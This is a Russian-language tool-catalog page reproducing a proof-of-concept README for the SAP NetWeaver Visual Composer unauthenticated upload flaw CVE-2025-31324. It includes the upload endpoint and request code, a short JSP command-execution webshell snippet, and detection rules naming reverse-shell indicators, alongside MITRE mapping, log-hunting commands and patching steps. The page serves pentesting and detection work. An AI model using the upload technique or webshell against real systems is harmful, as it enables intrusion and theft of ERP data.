Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-31324 — Proof-of-concept эксплойт для CVE-2025-31324 — неаутентифицированная загрузка файлов в SAP NetWeaver Visual Composer, с рекомендациями по обнаружению, сопоставлением с MITRE и шагами по устранению уязвимости. | Kitploit
Инструменты/GitHubGitHub/hkenzokimura/cve-2025-31324
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingРеагирование на Инциденты
GitHubhkenzokimura/cve-2025-31324

CVE-2025-31324

Proof-of-concept эксплойт для CVE-2025-31324 — неаутентифицированная загрузка файлов в SAP NetWeaver Visual Composer, с рекомендациями по обнаружению, сопоставлением с MITRE и шагами по устранению уязвимости.

Репозиторий
5 ч 23 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🔴 CVE-2025-31324 — SAP NetWeaver Visual Composer Неаутентифицированная загрузка файлов

Тип: Proof of Concept — Исследование уязвимостей CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Статус: Исправлено — SAP Security Note 3594142 + 3604119 Добавлено в CISA KEV: Май 2025

⚠️ Этот PoC использует безвредный JSP-файл («Hello World») для проверки поверхности атаки без выполнения вредоносного кода. Использование только в авторизованных средах для целей пентеста и разработки детектов.

Разработано: HKK


$ cat ./vulnerability_summary.txt

Уязвимость CVE-2025-31324 находится в компоненте Visual Composer Metadata Uploader SAP NetWeaver AS Java — это ошибка отсутствия проверки авторизации, которая позволяет любому неаутентифицированному атакующему отправлять POST-запросы на конечную точку /developmentserver/metadatauploader, что приводит к неограниченной загрузке произвольных файлов.

CVE затрагивает конкретно SAP NetWeaver Visual Composer Framework версии 7.50, с оценкой CVSS 10.0 — максимально возможной.

Угрозы активно эксплуатировали эту уязвимость с января по май 2025 года, развертывая постоянные веб-шеллы в сотнях систем по всему миру.


$ cat ./impact.txt

Поскольку уязвимость работает с повышенными привилегиями и находится рядом с данными ERP, горизонтальное перемещение к SAP ABAP стекам или подключенным базам данных тривиально после эксплуатации.

Полная цепочка эксплуатации в реальных атаках:

root@kitploit:~
Upload JSP (CVE-2025-31324)
    → Webshell persistente no servidor
        → RCE como processo SAP (alta privilégio)
            → Acesso a dados ERP (Finance, HR, Supply Chain)
                → Lateral movement para ABAP / DB
                    → Deploy de frameworks C2 (ex: Brute Ratel)

$ cat ./architecture.txt

Как работает уязвимая конечная точка

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────┐
│              CVE-2025-31324 — EXPLOIT FLOW                              │
│                                                                         │
│  ATACANTE                    SAP NETWEAVER AS JAVA                      │
│                                                                         │
│  POST /developmentserver/metadatauploader                               │
│  Content-Type: multipart/form-data          ┌─────────────────────┐    │
│  Body: arquivo JSP/WAR/qualquer ──────────► │  Metadata Uploader  │    │
│  (sem autenticação)                         │                     │    │
│                                             │  ❌ Sem verificação  │    │
│                                             │     de auth         │    │
│                                             │  ❌ Sem validação    │    │
│                                             │     de extensão     │    │
│                                             │  ❌ Sem sanitização  │    │
│                                             │     de conteúdo     │    │
│                                             └────────┬────────────┘    │
│                                                      │                 │
│                                             Arquivo salvo em:          │
│                                             /irj/root/ ou similar      │
│                                                      │                 │
│  GET /irj/hello_world.jsp ◄──────────────────────────┘                 │
│  → Hello World (PoC benigno)                                            │
│  → Webshell (exploit real)                                              │
└─────────────────────────────────────────────────────────────────────────┘

Почему существует эта конечная точка?

/developmentserver/metadatauploader является частью SAP Visual Composer — инструмента low-code разработки для бизнес-аналитиков, позволяющего создавать SAP-приложения без Java-кода. Конечная точка была спроектирована для приема моделей метаданных во время разработки. Хотя компонент не включен в стандартной конфигурации NetWeaver, Onapsis сообщила, что он широко активирован в производственных средах.


$ cat ./design_decisions.md

1. Выбор полезной нагрузки — JSP «Hello World»

root@kitploit:~
file_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""

Почему JSP, а не другой формат?

SAP NetWeaver AS Java запускает JVM — файлы .jsp интерпретируются напрямую сервлет-контейнером (встроенный Apache Tomcat) без предварительной компиляции. Это делает JSP идеальным форматом для веб-шеллов в Java-средах.

Выбор безвредного содержимого («Hello World») намерен для PoC:

  • Проверяет уязвимую поверхность без выполнения вредоносного кода
  • Подтверждает загрузку (код HTTP 200 + файл доступен через GET)
  • Чистое судебное доказательство для отчета о пентесте

При реальной эксплуатации содержимым был бы JSP-веб-шелл с выполнением команд, например:

root@kitploit:~
<%
  String cmd = request.getParameter("cmd");
  Runtime.getRuntime().exec(cmd);
%>

2. multipart/form-data — Почему этот Content-Type?

root@kitploit:~
files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}

Конечная точка ожидает запрос multipart/form-data — тот же формат, который используется HTML-формами загрузки файлов. Это намеренно в оригинальном дизайне Visual Composer (загрузка моделей разработки).

Библиотека requests автоматически собирает границы multipart, когда передается files= — заголовок Content-Type: multipart/form-data; boundary=... генерируется внутренне.

verify=False: отключает проверку TLS-сертификата — необходимо, поскольку SAP-среды часто используют самоподписанные сертификаты. В производстве использовать verify='/path/to/ca-bundle.crt'.

3. Путь конечной точки — Анатомия URL

root@kitploit:~
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
КомпонентЗначение
:50201Стандартный порт SAP ICM (Internet Communication Manager) HTTPS
/developmentserver/Сервлет разработки Visual Composer
metadatauploaderКонкретная конечная точка загрузки метаданных
CONTENTTYPE=MODELТип содержимого, ожидаемый конечной точкой
CLIENT=1Мандант SAP (клиент) — 000, 100, 001 распространены

$ cat ./mitre_mapping.yml

root@kitploit:~
tactic: Initial Access
  - T1190  # Exploit Public-Facing Application
            # Эксплуатация конечной точки /developmentserver/metadatauploader
            # без аутентификации через HTTP POST

tactic: Execution
  - T1505.003  # Server Software Component: Web Shell
               # JSP webshell загружен → выполнен сервлет-контейнером (Tomcat)

tactic: Persistence
  - T1505.003  # Web Shell как механизм постоянства
               # JSP-файл сохраняется в файловой системе сервера между перезагрузками

tactic: Defense Evasion
  - T1036      # Masquerading
               # Веб-шеллы, названные как легитимные SAP-файлы (например, metadata.jsp)

tactic: Discovery
  - T1082      # System Information Discovery
               # После RCE: перечисление процессов, пользователей, SAP-путей

tactic: Lateral Movement
  - T1210      # Exploitation of Remote Services
               # Доступ к ABAP стеку, подключенным базам данных через RCE

tactic: Collection
  - T1005      # Data from Local System
               # Прямой доступ к данным ERP (Finance, HR, Supply Chain)

$ cat ./affected_versions.txt

root@kitploit:~
Продукт:  SAP NetWeaver Application Server Java
Компонент: Visual Composer Framework
Версия:   7.50 (все сборки до патча апреля/мая 2025)

Патчи:
  SSN 3594142 → Первоначальный патч (апрель 2025) — устраняет загрузку файлов
  SSN 3604119 → Исправление первопричины через CVE-2025-42999 (май 2025) — устраняет корневую причину
  SSN 3578900, 3620498, 3621771, 3634501 → Дополнительные заметки по усилению защиты

CISA KEV: оба CVE-2025-31324 и CVE-2025-42999 добавлены в каталог

$ cat ./detection_opportunities.md

Обнаружение эксплойта (во время атаки)

root@kitploit:~
# Правило: неаутентифицированный POST на конечную точку Metadata Uploader
# Источник: SAP Web Dispatcher / ICM access log

Условие:
  - method: POST
  - uri_path СОДЕРЖИТ: /developmentserver/metadatauploader
  - auth_header: ОТСУТСТВУЕТ
  - body_content_type: multipart/form-data

Серьезность: КРИТИЧЕСКАЯ — немедленно расследовать
root@kitploit:~
# SAP ICM журнал — подозрительный шаблон:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x

Обнаружение веб-шелла (после компрометации)

root@kitploit:~
# Правило: GET к недавно созданному файлу .jsp вне легитимных SAP-путей
Условие:
  - method: GET
  - uri_path СООТВЕТСТВУЕТ: /irj/.*\.jsp
  - file_creation_time: < 24h
  - file_NOT_IN: [список известных легитимных JSP]
root@kitploit:~
# Подозрительный дочерний процесс SAP JVM
# Источник: Sysmon / EDR process creation
Условие:
  - parent_process: java.exe или jstart.exe
  - child_process: cmd.exe ИЛИ powershell.exe ИЛИ sh ИЛИ bash
  - command_line СОДЕРЖИТ: -c ИЛИ .socket ИЛИ .call( ИЛИ .spawn(

Red Canary задокументировал следующий шаблон обнаружения эксплуатации CVE-2025-31324 в Linux-средах: процесс python с аргументом -c в сочетании с .socket и .call( или .spawn( — указывает на reverse shell после веб-шелла.

Охота в журналах SAP

root@kitploit:~
# Поиск POST-запросов к уязвимой конечной точке за последние 90 дней
# Каталог журналов: /usr/sap/<SID>/J<inst>/work/

grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"

# Список недавно созданных JSP в веб-каталоге
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f

$ cat ./remediation.md

root@kitploit:~
ПРИОРИТЕТ: КРИТИЧЕСКИЙ — Немедленный патч

1. Проверить, активен ли компонент:
   NWA → Configuration → Infrastructure → Java System Properties
   Искать: com.sap.tc.vccomp.server.vis.jms.VisJmsService

2. Если не требуется → ОТКЛЮЧИТЬ Visual Composer:
   NWA → Start & Stop → Services → VisualComposer → Stop

3. Применить обязательные патчи (по порядку):
   SSN 3594142  ← критический (загрузка файлов)
   SSN 3604119  ← первопричина (CVE-2025-42999)
   SSN 3578900, 3620498, 3660659 (дополнительное усиление)

4. Настроить JVM Serial Filter (после патча):
   NWA → JVM Parameters → добавить фильтр вредоносных классов

5. Ограничить сетевой доступ к конечной точке в Web Dispatcher / Firewall:
   ЗАБЛОКИРОВАТЬ: /developmentserver/* для внешних IP
   РАЗРЕШИТЬ: только авторизованные хосты разработки

6. Проверить IOC — искать веб-шеллы, развернутые до патча:
   Анализировать журналы ICM с января 2025
   Искать файлы .jsp с подозрительным содержимым в /irj/

$ cat ./usage.sh

root@kitploit:~
# Установить зависимость
pip install requests

# Отредактировать URL в скрипте перед выполнением:
# url = "https://<ваш-lab-хост>:<порт>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"

# Выполнить
python cve_2025_31324_poc.py

# Проверить, сработала ли загрузка (файл должен быть доступен)
curl -k https://<host>:<port>/irj/hello_world.jsp
# Ожидаемый ответ, если уязвимо: HTML с «Hello World»
# Ожидаемый ответ, если пропатчено: 404 или 403

$ cat ./timeline.txt

root@kitploit:~
Янв 2025      Начало активной эксплуатации in-the-wild (обнаружено ретроспективно)
Апр 24, 2025  SAP публикует CVE-2025-31324 (CVSS 10.0) + SSN 3594142
Апр 28, 2025  CISA добавляет в Known Exploited Vulnerabilities Catalog
Апр 29, 2025  Rapid7, Qualys, Red Canary публикуют технические анализы
Май 07, 2025  Onapsis + Mandiant (Google Cloud) публикуют совместный брифинг
Май 13, 2025  SAP публикует SSN 3604119 (первопричина через CVE-2025-42999, CVSS 9.1)
Май 15, 2025  CISA добавляет CVE-2025-42999 в каталог KEV
Май 20, 2025  Крайний срок CISA для патчинга в федеральных системах США
Июн 25, 2025  Unit 42 завершает активный мониторинг кампании

$ cat ./references.md

root@kitploit:~
CVE:        https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note:   https://me.sap.com/notes/3594142
NVD:        https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV:   https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis:    https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7:     https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42:    https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/

$ cat ./lessons_learned.txt

root@kitploit:~
[+] Отсутствие auth в конечных точках «разработки» — классический недооцененный вектор
[+] CVSS 10.0 означает: без auth + сеть + полный RCE — самая критическая тройка из возможных
[+] Visual Composer не стандартен, но был широко активен в производстве — риск скрытых функций
[+] JSP как веб-шелл особенно скрытен: без компиляции, выполняется напрямую контейнером
[+] Угрозы эксплуатировали 3+ месяца до публичного раскрытия — обнаружение SOC критично
[-] verify=False в PoC — в реальном пентесте задокументировать самоподписанный серт и использовать verify=путь
[-] CLIENT=1 захардкожен — в производстве может быть 000, 100, 200; перечислить заранее
[-] PoC не проверяет, стал ли файл доступен после загрузки — добавить GET для подтверждения
[→] Улучшения: argparse для host/port/client, автоматическая проверка после загрузки, вывод в JSON

CVE Research · CVSS 10.0 · Patched April/May 2025 · CISA KEV · Authorized testing only

Скачать инструмент